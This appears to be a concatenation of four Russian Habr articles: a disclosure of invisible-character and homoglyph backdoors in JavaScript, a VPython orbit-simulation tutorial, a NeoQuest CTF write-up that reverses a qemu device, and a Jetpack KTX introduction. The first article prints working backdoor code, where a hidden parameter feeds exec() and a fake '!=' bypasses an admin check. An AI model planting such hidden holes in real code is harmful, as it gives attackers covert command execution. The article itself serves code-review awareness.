Как раз когда мы завершали написание этого поста, команда из Кембриджского университета опубликовала [статью](https://www.trojansource.codes/) с описанием такой атаки. Однако её подход сильно отличается от нашего — в нём упор делается на механизм двойного направления текста в Unicode (Bidi). Мы реализовали подход, который в статье называется *Invisible Character Attacks* и *Homoglyph Attacks*.
Без лишних предисловий перейдём к *бэкдору*. Сможете его найти?
```
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
```
Скрипт реализует очень простую конечную точку HTTP проверки состояния сети, выполняющую `ping -c 1 google.com`, а также `curl -s http://example.com` и возвращающую результат выполнения этих команд. Дополнительный параметр HTTP `timeout` ограничивает время выполнения команды.
Бэкдор
------
Наш подход к созданию бэкдора заключался в том, чтобы в первую очередь найти невидимый символ Unicode, который можно интерпретировать как идентификатор/переменную в JavaScript. Начиная с ECMAScript версии 2015, все символы Unicode с Unicode-свойством `ID_Start` можно использовать как идентификаторы (символы со свойством `ID_Continue` можно использовать после первого символа).
Символ “ㅤ” (0x3164 в шестнадцатеричном виде) называется *“HANGUL FILLER”* («заполнитель хангыля») и принадлежит к Unicode-категории *“Letter, other”*. Так как этот символ считается *буквой*, он имеет свойство `ID_Start`, а значит, может встречаться в переменной JavaScript — идеально!
Далее нам нужно было найти способ *незаметного* использования этого невидимого символа. Ниже показан выбранный нами подход, в котором соответствующий символ заменён его *escape-последовательностью*:
```
const { timeout,\u3164} = req.query;
```
[Деструктурирующее присваивание](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) применяется для деконструирования параметров HTTP из `req.query`. В противоположность тому, что мы *видим*, параметр `timeout` является не единственным параметром, извлечённым из атрибута `req.query`! Из него извлекается дополнительная переменная/параметр HTTP с именем “ㅤ” — если передаётся параметр HTTP с именем “ㅤ”, то он присваивается невидимой переменной `ㅤ`.
Аналогично, при конструировании массива `checkCommands` эта переменная `ㅤ` включается в массив:
```
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];
```
Затем каждый элемент массива, жёстко заданные команды, а также переданный пользователем параметр, передаются функции `exec`. Эта функция исполняет команды ОС. Чтобы атакующий мог исполнять произвольные команды ОС, ему нужно передать конечной точке параметр с именем “ㅤ” (в URL-кодировке):
```
http://host:8080/network_health?%E3%85%A4=
```
Этот трюк нельзя выявить подсвечиванием синтаксиса, поскольку невидимые символы никак не отображаются, а следовательно, не раскрашиваются в IDE/текстовом редакторе:
Для атаки требуется, чтобы IDE/текстовый редактор (и выбранный шрифт) правильно рендерили невидимые символы. Как минимум *Notepad++* и *VS Code* рендерят их правильно (в VS Code невидимый символ немного шире символов ASCII). Скрипт ведёт себя так, как это описано выше, по крайней мере, с Node 14.
Решения с омоглифами
--------------------
Кроме *невидимых* символов бэкдоры можно внедрять и с помощью символов Unicode, *очень похожих*, например, на операторы:
```
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
if(environmentǃ=ENV_PROD){
// bypass authZ checks in DEV
return true;
}
/* … */
return false;
}
```
Символ “ǃ” — это не восклицательный знак, а символ *ALVEOLAR CLICK*. Следовательно, показанная ниже строка не сравнивает переменную `environment` со строкой `"PRODUCTION"`, а вместо этого присваивает строку `"PRODUCTION"` ранее незаданной переменной `environmentǃ`:
```
if(environmentǃ=ENV_PROD){
```
Таким образом, выражение в условном операторе всегда равно `true` (протестировано на Node 14).
Существует множество других символов, которые похожи на используемые в коде и которые можно применять в подобных целях (например, “／”, “−”, “＋”, “⩵”, “❨”, “⫽”, “꓿”, “∗”). В Unicode такие символы называются [“confusables”](https://unicode.org/reports/tr36/#visual_spoofing) («вызывающими путаницу»).
Вывод
-----
Стоит заметить, что использование Unicode для сокрытия уязвимого или зловредного кода не является новой идеей ([[1]](https://github.com/NebulousLabs/glyphcheck), [[2]](https://twitter.com/zygoloid/status/1187150150835195905), [[3]](https://github.com/golang/go/issues/20209), [[4]](https://twitter.com/jupenur/status/1244286243518713857)) (как и использование [невидимых символов](https://mobile.twitter.com/veorq/status/843382644939374592)), а сам Unicode открывает дополнительные возможности по [обфускации кода](https://twitter.com/FiloSottile/status/1455260886910783501). Однако нам кажется, что эти трюки довольно любопытны, поэтому мы решили ими поделиться.
При анализе кода неизвестных или ненадёжных контрибьюторов нужно помнить о Unicode. Это особенно интересно для проектов open source, потому что контрибьюторами в них, по сути, могут быть анонимные разработчики.
Кембриджская команда предложила ограничить использование Bidi-символов Unicode. Как мы продемонстрировали, омоглифные атаки и невидимые символы тоже могут представлять угрозу. По нашему опыту, символы не из таблицы ASCII встречаются в коде достаточно редко. Многие команды разработчиков предпочитают использовать в качестве основного языка разработки английский (и для кода, и для строк в коде), чтобы обеспечить возможность международного сотрудничества (в ASCII есть все или почти все символы, используемые в английском языке). Перевод на другие языки обычно выполняется при помощи специальных файлов. При анализе кода на немецком языке мы чаще всего видим, что символы не из таблицы ASCII заменены ASCII-символами (например, ä → ae, ß → ss). Поэтому, неплохой идеей будет полный запрет символов не из таблицы ASCII. | https://habr.com/ru/post/658197/ | null | ru | null |
# Симуляция физических явлений с VPython
В физических науках часто допускают упрощения и приблизительные значения: орбиты всегда круговые, снаряды летят без сопротивления воздуха, а маятник отклоняется только на небольшой угол.
Фотография: Conor Luddy на UnsplashПодобные упрощения необходимы и уместны, когда вы пытаетесь усвоить основные законы природы впервые. Приблизительные значения полезны тем, что при небольших потерях в точности, мы экономим много времени (например, как при вычислении [магнитного момента](https://en.wikipedia.org/wiki/Magnetic_dipole_moment)). Но мир намного сложнее и интереснее, а **главная цель физики — понять реальный мир**.
К счастью, компьютеры могут выполнять объемные и сложные вычисления за короткий промежуток времени. **VPython** позволяет моделировать сложные физические процессы и создавать 3D-анимации с возможностью навигации в режиме реального времени.
VPython можно установить, используя Jupyter notebook, 3D-сцена появится прямо там. Если код запускается вне notebook (например, из командной строки или IDLE), откроется окно браузера, отображающее сцену. Internet Explorer не поддерживает, рекомендуется использовать браузер Chrome, так как здесь будет более расширенная информация о возможных ошибках.
С чего начать?
--------------
Пакет опубликован на Pypi, и его можно легко установить с помощью pip:
`pip install vpython`
После завершения установки можно попробовать создать [3D Cylinder (Цилиндр)](https://www.glowscript.org/docs/VPythonDocs/cylinder.html):
`import vpython as vpvp.cylinder()`
Чтобы изменить положение, размер и цвет:
`vp.cylinder(pos=vp.vector( 4, 0, 0), size=vp.vector(4,4,4), color = vp.color.red)`
Моделирование Солнечной системы
-------------------------------
**Закон всемирного тяготения** — один из самых важных в физике. С его помощью можно вычислить, с какой скоростью Луна движется вокруг Земли, как вывести спутник на орбиту, а также обнаружить темную материю и черные дыры.
Один из способов изучения силы притяжения — использовать метода Эйлера — Кромера. Предположим, мы хотим исследовать орбиту планеты, которая вращается вокруг звезды, и для программирования гравитации между планетой и звездой требуется всего несколько математических шагов.
Иллюстрация: Freepik* Во-первых, в начале уравнения поставим минус, что будет означать, что сила гравитации всегда притягивает.
* Во-вторых, гравитационная постоянная. Это константа, ее значение всегда одинаково, независимо от того, где именно во Вселенной вы находитесь.
* Затем мы умножаем массу звезды на массу планеты.
* Далее нам нужно найти расстояние между звездой и планетой. Мы можем получить вектор расстояния, вычитая одну позицию из другой. Величина вектора расстояния идет в знаменатель.
* Наконец, мы вычисляем вектор “R с крышкой”, который задает направление гравитационной силы. Мы можем вычислить “R с крышкой”, с помощью следующей формулы:
Кодинг
------
Начнем работу с написания нового Python-скрипта, импорта модуля и создания сцены.
Сначала импортируйте модуль, затем сгенерируйте сцену:
```
import vpython as vp
vp.scene.title = "Modeling the motion of planets with the gravitational force"
vp.scene.height = 600
vp.scene.width = 800
```
Создадим звезду и планету (вы можете изменить массу на реальное значение):
```
planet = vp.sphere(pos=vp.vector(1,0,0), radius=0.05, color=vp.color.green,
mass = 1, momentum=vp.vector(0,30,0), make_trail=True )
star = vp.sphere(pos=vp.vector(0,0,0), radius=0.2, color=vp.color.yellow,
mass = 2.0*1000, momentum=vp.vector(0,0,0), make_trail=True)
```
Теперь нам нужно создать функцию, которая вычисляет силу притяжения:
```
def gravitationalForce(p1,p2):
G = 1 #real-world value is : G = 6.67e-11
rVector = p1.pos - p2.pos
rMagnitude = vp.mag(rVector)
rHat = rVector / rMagnitude
F = - rHat * G * p1.mass * p2.mass /rMagnitude**2
return F
```
Чтобы создать анимацию, мы будем использовать метод Эйлера — Кромера, поэтому сначала нам нужно сгенерировать переменную времени и размер шага:
```
t = 0
dt = 0.0001 #The step size. This should be a small number
```
В бесконечном цикле мы должны вычислить силу и обновить положение, импульс и переменную времени `t` следующим образом.
**Примечание:** мы используем `rate()`, чтобы ограничить скорость анимации, также можно использовать `sleep()`
```
while True:
vp.rate(500)
#calculte the force using gravitationalForce function
star.force = gravitationalForce(star,planet)
planet.force = gravitationalForce(planet,star)
#Update momentum, position and time
star.momentum = star.momentum + star.force*dt
planet.momentum = planet.momentum + planet.force*dt
star.pos = star.pos + star.momentum/star.mass*dt
planet.pos = planet.pos + planet.momentum/planet.mass*dt
t+= dt
```
А теперь попробуем добавить больше планет.
**Примечание:** мы можем использовать RGB для объявления цвета следующим образом:
```
star = vp.sphere(pos=vp.vector(0,0,0), radius=0.2, color=vp.color.yellow,
mass = 1000, momentum=vp.vector(0,0,0), make_trail=True)
planet1 = vp.sphere(pos=vp.vector(1,0,0), radius=0.05, color=vp.color.green,
mass = 1, momentum=vp.vector(0,30,0), make_trail=True)
planet2 = vp.sphere(pos=vp.vector(0,3,0), radius=0.075, color=vp.vector(0.0,0.82,0.33),#RGB color
mass = 2, momentum=vp.vector(-35,0,0), make_trail=True)
planet3 = vp.sphere(pos=vp.vector(0,-4,0), radius=0.1, color=vp.vector(0.58,0.153,0.68),
mass = 10, momentum=vp.vector(160,0,0), make_trail=True)
```
Затем обновите позицию и импульс:
```
while (True):
vp.rate(500)
#Calculte the force using gravitationalForce function
star.force = gravitationalForce(star,planet1)+gravitationalForce(star,planet2)+gravitationalForce(star,planet3)
planet1.force = gravitationalForce(planet1,star)+gravitationalForce(planet1,planet2)+gravitationalForce(planet1,planet3)
planet2.force = gravitationalForce(planet2,star)+gravitationalForce(planet2,planet1)+gravitationalForce(planet2,planet3)
planet3.force = gravitationalForce(planet3,star)+gravitationalForce(planet3,planet1)+gravitationalForce(planet3,planet2)
#Update momentum, position and time
star.momentum = star.momentum + star.force*dt
planet1.momentum = planet1.momentum + planet1.force*dt
planet2.momentum = planet2.momentum + planet2.force*dt
planet3.momentum = planet3.momentum + planet3.force*dt
star.pos = star.pos + star.momentum/star.mass*dt
planet1.pos = planet1.pos + planet1.momentum/planet1.mass*dt
planet2.pos = planet2.pos + planet2.momentum/planet2.mass*dt
planet3.pos = planet3.pos + planet3.momentum/planet3.mass*dt
t += dt
```
Что у нас получилось:
РезультатЗаключение
----------
VPython позволяет создавать простые и сложные 3D-анимации для симуляции физических явлений, а также рисовать графики в режиме реального времени. | https://habr.com/ru/post/556480/ | null | ru | null |
# NeoQuest 2017: Выбираемся из додекаэдра, не запуская ничего в qemu
> «Затерянные в додекаэдре»
> -------------------------
>
>
>
> На Земле – египетские пирамиды, а на этой планете – один (зато какой!) гигантский додекаэдр, левитирующий в воздухе на высоте порядка десяти метров. Должно быть, именно в нём и кроется вся загадка этой планеты. Сама фигура как бы приглашает исследовать ее – одна из граней отсутствует, обозначая вход, и оттуда до земли свивает веревочная лестница. Разумеется, мы туда полезли.
>
>
>
> «Вот так и пропадают неизвестно куда космические экспедиции…» – уныло говорили мы, уже третий час безуспешно пытаясь выбраться из дурацкого додекаэдра, дверь которого моментально заблокировалась, как только последний из нас забрался внутрь. Выломать дверь не удавалось, единственным выходом было блуждание по лабиринту объемной фигуры. Трудно сказать, сколько прошло времени, но наши поиски увенчались успехом: в одном из закоулков мы обнаружили вполне себе земной древний компьютер! Недовольно урча и подтормаживая, он все-таки загрузился. Всё, что удалось обнаружить – один [файлик](https://2017.neoquest.ru/files/7/qemu-system-x86_64_final.qemu). Хорошо, что у меня с собой был ноутбук и флешка, я перекинул файл на ноут и стал внимательно его изучать.
Скачиваем предоставленный файл. Это бинарник qemu, но не совсем обычный.
> Подсказка 2: нужно посмотреть все виртуальные устройства, которые можно использовать, среди них будет одно особенное, его нужно добавить при загрузке виртуалки. Для взаимодействия с устройством используйте IO порты.
Посмотрим список виртуальных устройств:
```
$ ./qemu-system-x86_64_final.qemu -device help
```
В разделе «Misc devices» находим то самое «особенное»:
```
name "a42b145c", bus PCI, desc "PCI -= Hex Sudoku =-"
```
Подсказка говорит нам, что дальше нужно загрузить что-то в qemu и взаимодействовать с устройством через IO порты. Но мы пойдем другим путем: раз есть виртуальное устройство, значит в предоставленном qemu есть его код, давайте его разреверсим.
Загружаем бинарник в IDA и видим, что все символы на месте, это нам на руку. Будем искать наше устройство. Поиск по «Hex Sudoku» ничего не дает, очевидно строки зашифрованы. Посмотрим как в qemu добавляются новые устройства, хороший пример есть [здесь](https://github.com/levex/kernel-qemu-pci/blob/master/qemu/hw/char/lev-pci.c). Видим, что для регистрации устройства используется type\_register\_static. Найдем его в IDA и посмотрим, откуда он вызывается. Среди всех функций, одна сильно выделяется:
Похоже что это и есть нужное нам устройство.
В kYw8zJoR2P79 находим указатель на class\_init:
Здесь для наглядности я добавил необходимые структуры из qemu и задал переменным правильные типы:
Видим расшифровку строки «PCI -= Hex Sudoku =-», но она нас уже не интересует. Идем в init:
В wF5kdW6bDnmo находим указатели на функции чтения и записи:
Начнем с чтения:
Выглядит немного странно. Устройство хранит все данные кусками по 16 \* 4 байт, разбросанными по fLA0hXGQ.
> Подсказка 3: читаем из порта 0x0 значения – это начальные значения для судоку 16x16, старший байт – индекс, младший – значение.
Теперь, используя смещения из dword\_88B6C64, мы можем получить все 92 начальных значения для судоку. Решаем любым удобным способом на свое усмотрение:
```
solution = [
[ 0xF, 0x0, 0x3, 0xB, 0xD, 0xC, 0x4, 0xE, 0x8, 0x5, 0x2, 0xA, 0x9, 0x1, 0x6, 0x7 ],
[ 0x4, 0xC, 0x8, 0xE, 0x1, 0xF, 0x5, 0x2, 0xB, 0x9, 0x7, 0x6, 0xD, 0x3, 0xA, 0x0 ],
[ 0x9, 0x1, 0x5, 0x7, 0x6, 0xA, 0x0, 0x8, 0x4, 0xE, 0x3, 0xD, 0xB, 0xF, 0x2, 0xC ],
[ 0xD, 0x6, 0x2, 0xA, 0xB, 0x7, 0x9, 0x3, 0x0, 0xF, 0x1, 0xC, 0x5, 0x4, 0x8, 0xE ],
[ 0x5, 0x8, 0x7, 0x0, 0xA, 0xD, 0x2, 0x1, 0x9, 0x3, 0x6, 0x4, 0xE, 0xB, 0xC, 0xF ],
[ 0x1, 0xE, 0xB, 0xC, 0x8, 0x9, 0x6, 0x7, 0xF, 0x0, 0xA, 0x2, 0x4, 0xD, 0x5, 0x3 ],
[ 0x2, 0xA, 0x4, 0xD, 0xF, 0xB, 0x3, 0x0, 0xE, 0xC, 0x5, 0x1, 0x6, 0x9, 0x7, 0x8 ],
[ 0x3, 0xF, 0x6, 0x9, 0xE, 0x5, 0xC, 0x4, 0xD, 0x7, 0xB, 0x8, 0x2, 0xA, 0x0, 0x1 ],
[ 0x7, 0x3, 0xF, 0x5, 0x0, 0x6, 0xA, 0xB, 0x2, 0x4, 0x8, 0x9, 0xC, 0xE, 0x1, 0xD ],
[ 0xE, 0x4, 0x0, 0x6, 0xC, 0x2, 0x8, 0xF, 0x1, 0xB, 0xD, 0x7, 0x3, 0x5, 0x9, 0xA ],
[ 0xA, 0xB, 0xC, 0x2, 0x9, 0x1, 0xE, 0xD, 0x5, 0x6, 0x0, 0x3, 0x8, 0x7, 0xF, 0x4 ],
[ 0x8, 0x9, 0xD, 0x1, 0x4, 0x3, 0x7, 0x5, 0xC, 0xA, 0xF, 0xE, 0x0, 0x2, 0xB, 0x6 ],
[ 0xB, 0xD, 0x1, 0x4, 0x2, 0x0, 0xF, 0xA, 0x3, 0x8, 0xC, 0x5, 0x7, 0x6, 0xE, 0x9 ],
[ 0x0, 0x7, 0xA, 0x8, 0x5, 0xE, 0xD, 0x9, 0x6, 0x2, 0x4, 0xF, 0x1, 0xC, 0x3, 0xB ],
[ 0x6, 0x2, 0x9, 0xF, 0x3, 0x4, 0xB, 0xC, 0x7, 0x1, 0xE, 0x0, 0xA, 0x8, 0xD, 0x5 ],
[ 0xC, 0x5, 0xE, 0x3, 0x7, 0x8, 0x1, 0x6, 0xA, 0xD, 0x9, 0xB, 0xF, 0x0, 0x4, 0x2 ]
]
```
Как теперь получить ответ? По адресу 0x4 устройство отдает 4096 байт — наверно там должен быть ключ, конечно после того, как мы предоставим правильное решение устройству. Посмотрим функцию записи:
В самом начале записывается переданное значение. Дальше проверяется правильность решения, и, если оно верное, то вычисляется ответ.
Сдампим содержимое fLA0hXGQ в файл и перепишем код на Python:
```
xor1_offset = [
0x11b0, 0x180, 0xcd0, 0x1e10, 0x1d50, 0x13d0, 0x560, 0xf60,
0x1a40, 0xe10, 0x1d00, 0x1100, 0xed0, 0xf10, 0xa20, 0x630,
0xd90, 0x2070, 0x1530, 0x1cc0, 0xf0, 0x1110, 0x1030, 0x1390,
0x710, 0x6e0, 0x1d10, 0x3a0, 0x1290, 0x1150, 0x9d0, 0xcb0,
0x1ad0, 0x17b0, 0x6b0, 0x1510, 0xf30, 0xad0, 0x1350, 0x450,
0x1160, 0x810, 0x8a0, 0x1550, 0x1ed0, 0x1f60, 0x1120, 0x1660,
0x2030, 0xfc0, 0x17e0, 0x1640, 0xde0, 0x900, 0xff0, 0x17f0,
0xf40, 0x10f0, 0x8f0, 0x880, 0x160, 0x1400, 0x19d0, 0x7f0,
0x1490, 0x30, 0x1e80, 0x15b0, 0x1f20, 0xbf0, 0x11c0, 0x1a70,
0x1380, 0x960, 0x1c50, 0x1fb0, 0x570, 0x1c30, 0xd60, 0x290,
0x1260, 0x240, 0x1060, 0x1b90, 0x1230, 0x280, 0xdf0, 0x1190,
0x1240, 0xeb0, 0xb40, 0xdb0, 0x820, 0x1f70, 0x1330, 0xd70,
0xe90, 0xf00, 0xc60, 0xe60, 0x390, 0x1c00, 0x1bb0, 0x1690,
0x600, 0x12a0, 0xef0, 0x17d0, 0x970, 0x670, 0x1990, 0xac0,
0x3f0, 0x1b70, 0x1790, 0xf70, 0x1b60, 0x1070, 0x1200, 0x1680,
0x1b50, 0xf90, 0x4c0, 0x1840, 0x1800, 0x2e0, 0xbc0, 0x1780,
0x14d0, 0x80, 0x1dd0, 0x16a0, 0x8b0, 0x1e90, 0x7e0, 0x1450,
0x20f0, 0x20e0, 0x2040, 0x9f0, 0x2150, 0x1250, 0xa70, 0xcc0,
0xa00, 0x5d0, 0x20, 0xfa0, 0x500, 0x1c70, 0x1ae0, 0x16d0,
0x1470, 0x18b0, 0x270, 0xc80, 0x1850, 0x1a50, 0x1a90, 0xe30,
0x1440, 0x2110, 0x340, 0x1af0, 0x1010, 0x510, 0x310, 0x830,
0x3c0, 0x860, 0x3e0, 0x13e0, 0x19f0, 0x1ac0, 0x1e60, 0xbe0,
0x950, 0x1b80, 0x680, 0x1220, 0xd40, 0x14a0, 0xb10, 0xe70,
0x19e0, 0x1b20, 0x10a0, 0x1730, 0x4d0, 0x120, 0x12c0, 0x16e0,
0x14c0, 0x1de0, 0x1d0, 0x420, 0x910, 0x1b0, 0x2080, 0x1920,
0x1460, 0x40, 0x11a0, 0x15e0, 0xb00, 0x1ba0, 0x1650, 0x440,
0x650, 0x350, 0x300, 0x330, 0x1e0, 0x13c0, 0xd50, 0x1fd0,
0xae0, 0x12f0, 0xa80, 0x50, 0xbb0, 0x1e70, 0x1b30, 0xc0,
0x1340, 0xd20, 0x2c0, 0xaf0, 0x6d0, 0x1570, 0xc00, 0x1580,
0x5e0, 0x1700, 0x1ea0, 0x1890, 0x1d20, 0x1aa0, 0x840, 0x1f40,
0x1590, 0x700, 0x150, 0x890, 0x4e0, 0x1720, 0xd30, 0x990,
0x16f0, 0x3b0, 0x1970, 0x1c0, 0x0, 0x1320, 0x1ff0, 0x760
]
xor2_offset = 0x170
row_offset = [
0xfb0, 0x2a0, 0xec0, 0x140, 0x1090, 0xdc0, 0x15f0, 0x610,
0x7c0, 0x1a10, 0x780, 0x13b0, 0xc20, 0x1750, 0x1860, 0x6a0, 0x12B0
]
answer_offset = [
0x12b0, 0xfd0, 0x1ca0, 0x2020, 0xaa0, 0x5a0, 0x470, 0x4f0,
0x1a00, 0xa40, 0x1870, 0x1810, 0x690, 0x1410, 0x15d0, 0x20b0,
0x870, 0x1c60, 0x1da0, 0xa90, 0x980, 0x1000, 0x930, 0x2000,
0x2160, 0x5c0, 0x1370, 0x15a0, 0xca0, 0x790, 0x200, 0x2060,
0xb30, 0x1fe0, 0x90, 0x18a0, 0x5b0, 0x1e40, 0x1d70, 0x1d30,
0x530, 0x1d90, 0x2130, 0x1600, 0x9e0, 0x1940, 0x1910, 0x1670,
0x60, 0x10e0, 0x1950, 0xfe0, 0x430, 0x20c0, 0x380, 0x230,
0xf80, 0x1270, 0x2b0, 0x1130, 0xe20, 0x20d0, 0x2010, 0x720,
0x1c40, 0x1df0, 0x16c0, 0x13a0, 0xc90, 0x320, 0x1ce0, 0x18d0,
0x1dc0, 0x520, 0x250, 0x1fc0, 0x11f0, 0xe50, 0x800, 0x4b0,
0xc70, 0x1c90, 0xba0, 0x1ec0, 0x10c0, 0x8c0, 0xea0, 0x1db0,
0x6c0, 0x1740, 0x1820, 0x590, 0x360, 0x1f80, 0xb20, 0x1770,
0x1e50, 0x940, 0x1710, 0x1bf0, 0x7a0, 0x1c20, 0x1310, 0x220,
0xab0, 0xe00, 0x17a0, 0xf20, 0x730, 0x1cd0, 0x9a0, 0x640,
0x18c0, 0x19c0, 0x5f0, 0xdd0, 0x1560, 0x1bc0, 0x1360, 0x1c80,
0x10, 0x1f0, 0xc10, 0xd80, 0x1500, 0x1620, 0x660, 0x2090,
0x1d40, 0xe80, 0x15c0, 0x850, 0xa60, 0x1e30, 0x14f0, 0x12d0,
0xc30, 0x920, 0x10d0, 0x1210, 0x3d0, 0x1760, 0x740, 0x6f0,
0xe0, 0x1610, 0x1520, 0x19a0, 0xe40, 0x130, 0x1a30, 0x190,
0xa50, 0xf50, 0xb0, 0xc40, 0x14b0, 0x1a0, 0x400, 0xb50,
0x480, 0xc50, 0x1d60, 0x1480, 0x9c0, 0x1d80, 0x1f90, 0x12e0,
0x17c0, 0x1050, 0xa10, 0x1830, 0x620, 0x1e00, 0x1f00, 0x1430,
0x1170, 0xcf0, 0xb70, 0x2120, 0x1cb0, 0x1420, 0xce0, 0x1f10,
0x210, 0x1980, 0x9b0, 0x100, 0x110, 0xd10, 0x550, 0x1eb0,
0x1960, 0x1930, 0xb80, 0x7b0, 0xd00, 0x1be0, 0x1900, 0x8d0,
0x1fa0, 0x4a0, 0x1ab0, 0x580, 0x2100, 0x490, 0x8e0, 0x750,
0x1ef0, 0x2140, 0x1ee0, 0x11e0, 0x1b00, 0x16b0, 0x1a20, 0x1630,
0x410, 0x540, 0xd0, 0x1b40, 0x260, 0x1b10, 0x11d0, 0xee0,
0x18f0, 0x2f0, 0x1300, 0x2050, 0x1880, 0x1a80, 0x1080, 0x1c10,
0x1280, 0x18e0, 0x7d0, 0xb60, 0x2d0, 0x1e20, 0x13f0, 0x1bd0,
0xbd0, 0x1f50, 0x70, 0x1020, 0x1540, 0x10b0, 0x14e0, 0xda0,
0x1f30, 0x19b0, 0x460, 0xa30, 0x1180, 0x20a0, 0x1140, 0x1040
]
solution = [
[ 0xF, 0x0, 0x3, 0xB, 0xD, 0xC, 0x4, 0xE, 0x8, 0x5, 0x2, 0xA, 0x9, 0x1, 0x6, 0x7 ],
[ 0x4, 0xC, 0x8, 0xE, 0x1, 0xF, 0x5, 0x2, 0xB, 0x9, 0x7, 0x6, 0xD, 0x3, 0xA, 0x0 ],
[ 0x9, 0x1, 0x5, 0x7, 0x6, 0xA, 0x0, 0x8, 0x4, 0xE, 0x3, 0xD, 0xB, 0xF, 0x2, 0xC ],
[ 0xD, 0x6, 0x2, 0xA, 0xB, 0x7, 0x9, 0x3, 0x0, 0xF, 0x1, 0xC, 0x5, 0x4, 0x8, 0xE ],
[ 0x5, 0x8, 0x7, 0x0, 0xA, 0xD, 0x2, 0x1, 0x9, 0x3, 0x6, 0x4, 0xE, 0xB, 0xC, 0xF ],
[ 0x1, 0xE, 0xB, 0xC, 0x8, 0x9, 0x6, 0x7, 0xF, 0x0, 0xA, 0x2, 0x4, 0xD, 0x5, 0x3 ],
[ 0x2, 0xA, 0x4, 0xD, 0xF, 0xB, 0x3, 0x0, 0xE, 0xC, 0x5, 0x1, 0x6, 0x9, 0x7, 0x8 ],
[ 0x3, 0xF, 0x6, 0x9, 0xE, 0x5, 0xC, 0x4, 0xD, 0x7, 0xB, 0x8, 0x2, 0xA, 0x0, 0x1 ],
[ 0x7, 0x3, 0xF, 0x5, 0x0, 0x6, 0xA, 0xB, 0x2, 0x4, 0x8, 0x9, 0xC, 0xE, 0x1, 0xD ],
[ 0xE, 0x4, 0x0, 0x6, 0xC, 0x2, 0x8, 0xF, 0x1, 0xB, 0xD, 0x7, 0x3, 0x5, 0x9, 0xA ],
[ 0xA, 0xB, 0xC, 0x2, 0x9, 0x1, 0xE, 0xD, 0x5, 0x6, 0x0, 0x3, 0x8, 0x7, 0xF, 0x4 ],
[ 0x8, 0x9, 0xD, 0x1, 0x4, 0x3, 0x7, 0x5, 0xC, 0xA, 0xF, 0xE, 0x0, 0x2, 0xB, 0x6 ],
[ 0xB, 0xD, 0x1, 0x4, 0x2, 0x0, 0xF, 0xA, 0x3, 0x8, 0xC, 0x5, 0x7, 0x6, 0xE, 0x9 ],
[ 0x0, 0x7, 0xA, 0x8, 0x5, 0xE, 0xD, 0x9, 0x6, 0x2, 0x4, 0xF, 0x1, 0xC, 0x3, 0xB ],
[ 0x6, 0x2, 0x9, 0xF, 0x3, 0x4, 0xB, 0xC, 0x7, 0x1, 0xE, 0x0, 0xA, 0x8, 0xD, 0x5 ],
[ 0xC, 0x5, 0xE, 0x3, 0x7, 0x8, 0x1, 0x6, 0xA, 0xD, 0x9, 0xB, 0xF, 0x0, 0x4, 0x2 ]
]
memory = bytearray(open("memory", "rb").read())
def mem_read(addr):
return memory[addr * 4] | (memory[addr * 4 + 1] << 8) | (memory[addr * 4 + 2] << 16) | (memory[addr * 4 + 3] << 24)
def mem_write(addr, value):
memory[addr * 4] = value & 0xff;
memory[addr * 4 + 1] = (value >> 8) & 0xff;
memory[addr * 4 + 2] = (value >> 16) & 0xff;
memory[addr * 4 + 3] = (value >> 24) & 0xff;
def set_cell(row, col, value):
mem_write(row_offset[row] + col, value)
def get_cell(row, col):
return mem_read(row_offset[row] + col)
for row in range(16):
for col in range(16):
set_cell(row, col, solution[row][col])
for i in range(16):
for cell in range(256):
c1 = get_cell(cell >> 4, cell & 0xf)
c2 = get_cell((cell + 1) >> 4, (cell + 1) & 0xf)
xor1 = mem_read(i + xor1_offset[cell]) & 0xff
xor2 = mem_read(i + xor2_offset)
mem_write(i + answer_offset[cell], ((c2 & 0xff) | (c1 << 4)) ^ xor1 ^ xor2)
for i in range(16):
for j in range(256):
print(chr(mem_read(answer_offset[j] + i)), end='')
```
Запускаем и получаем необычный ключ в виде ASCII-графики:
 | https://habr.com/ru/post/323820/ | null | ru | null |
# Работа с библиотеками KTX
> Привет, Хабр. В преддверии старта курсов ["**Android Developer. Basic**"](https://otus.pw/Tiv1/) и ["**Android Developer. Professional**"](https://otus.pw/CoXB/) подготовили перевод материала.
>
>
---
Когда вы используете Android Java API в Kotlin, к вам достаточно быстро приходит понимание, что вам не хватает некоторых фич Kotlin, которые делают написание кода намного проще и приятнее. Вместо того, чтобы писать свои собственные обертки и функции расширения для этих API, я рекомендую вам обратить внимание на набор библиотек Jetpack KTX. В настоящее время более 20 библиотек имеют собственную KTX версию, создающую прекрасные идиоматические версии Java API, начиная от API платформы Android до ViewModels, SQLite и даже Play Core. В этой статье мы рассмотрим некоторые из доступных нам API и заглянем под капот, чтобы увидеть, как они были созданы.
Если вы предпочитаете чтению просмотр видео, вы можете ознакомиться с материалом этой статьи здесь:
### Обнаруживаемость
Чтобы повысить обнаруживаемость функциональности `ktx`, рекомендуется всегда импортировать артефакт `-ktx`, если он доступен. Поскольку артефакт `-ktx` транзитивно зависит от не-ktx версии, вам не нужно включать другой артефакт. Например, для `viewmodel` у вас есть 2 артефакта: `viewmodel` и `viewmodel-ktx`. Артефакт `-ktx` будет содержать расширения Kotlin:
```
// Java language implementation
implementation "androidx.lifecycle:lifecycle-viewmodel:$lifecycle_version"
// Kotlin implementation
implementation "androidx.lifecycle:lifecycle-viewmodel-ktx:$lifecycle_version"
```
### Всегда импортируйте артефакт -ktx
Для расширений API платформы Android следует импортировать артефакт `core-ktx`.
```
implementation "androidx.core:core-ktx:$corektx_version"
```
Большинство функций `ktx` реализовано как [функции расширения](https://medium.com/androiddevelopers/extend-your-code-readability-with-kotlin-extensions-542bf702aa36), поэтому вы сможете легко найти их с помощью автокомплита в Android Studio.
